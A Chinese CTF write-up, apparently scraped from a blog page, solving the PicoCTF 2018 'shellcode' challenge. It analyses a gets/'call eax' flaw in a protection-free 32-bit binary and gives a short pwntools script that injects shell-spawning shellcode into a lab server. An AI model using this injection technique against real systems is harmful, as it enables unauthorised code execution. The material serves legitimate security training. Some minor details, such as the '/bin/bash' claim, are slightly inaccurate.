当前位置: 首页 > news >正文

PWN手的成长之路-04-PicoCTF_2018_shellcode

image

先 nc 连接服务器,交互一下看看有什么效果。发现是让我们输入一个字符,之后程序再打印出来。
image

file 查看文件。32位的 ELF 可执行文件。
image

checksec 查看文件安全属性。没开任何保护。
image
NX 保护未开启,表明栈内存可被注入并执行任意机器码(shellcode),符合经典栈溢出利用的条件。此类漏洞通常需构造包含 /bin/bash 字符串的 shellcode 以获取交互式 shell 。

IDA打开此文件。因为代码被混淆了,导致无法反编译成伪代码,所以需要逐条分析汇编指令。
image

main 函数旁边看到了一个 vuln 函数,查看。发现了 gets 高危函数。
image

仔细查看 main 函数。
image
程序将用户的输入数据存储到 edp+var_A0 处,并通过 lea 将输入缓冲区地址加载至 eax 寄存器,随后作为参数传递给 vuln 函数,vuln 函数内存在关键指令 call eax,表明程序会直接跳转执行 eax 指向的地址,推测此处可能会存在任意代码执行漏洞。

image

反编译 vuln 函数,猜测 a1 会被加载到 eax 寄存器中。
image
因此用户输入的数据最终会被 call eax 执行因此需要构造一段机器码形式的shellcode,直接注入到栈中实现任意代码执行。

exp 构造思路:
构造包含 /bin/bash 字符串及系统调用执行的 shellcode,通过输入将其注入栈中,并利用call eax 触发执行,之后get shell。

from pwn import *  r=remote('node5.buuoj.cn',26081)  
context.log_level='debug'  
context.arch='i386'  
context.os='linux'  
shellcode=asm(shellcraft.sh())  
print(shellcode)  
r.send(shellcode)  
r.interactive()

最终得到交互式 shell
image

http://www.gsyq.cn/news/14094.html

相关文章:

  • day14 课程()
  • ThinkPHP反序列化分析
  • 防爬虫逆向日志爆炸,精简追踪不崩浏览器控制台 - 详解
  • docker 在x86上build arm 镜像
  • 实用指南:基于 HTML、CSS 和 JavaScript 的智能图像灰度直方图匹配系统
  • 产品排序
  • DataGridView表格控件使用说明
  • MyBatis技术详解:从入门到高效开发 - 详解
  • 实用指南:Linux Shell 脚本:从零到进阶的实战笔记
  • 商城类电商购物APP网购原型——实战计划原型
  • 第八篇
  • C# AStar 算法 - 实际应用
  • nocobase 源码安装
  • Python从入门到实战 (14):工具落地:用 PyInstaller 打包 Python 脚本为可执行文件 - 实践
  • Harmony实现流转开发之音乐播放器跨设备流转 - 实践
  • 解决秒杀高并发的一些方案
  • OpenFeign 继承FeignClient客户端注意事项
  • 详细介绍:Redis 核心数据类型:从命令、结构到实战应用
  • Nginx技术文档与LNMP架构部署指南 - 详解
  • 海康威视WEB视频监控插件3.3 解决视频画面遮挡 无法隐藏的问题 - 详解
  • 赋能智慧应急:国标GB28181平台EasyGBS视频技术如何成为气象灾害预警新工具
  • NET各个版本新增的特性和语法糖
  • 第10章 day10 DrissionPage详细教程
  • 第9章 day09 hook插件
  • nginx 一致性hash和流量检查模块
  • 深入解析:10月底实习准备-Mysql(按面试频率准备)
  • 第11章 day11-day12关于json请求体/逆向爬虫实战
  • 容斥与二项式反演
  • 从Docker构建失败到CRA被淘汰:一个React项目的ES模块探索记录
  • react useMemo Hook详解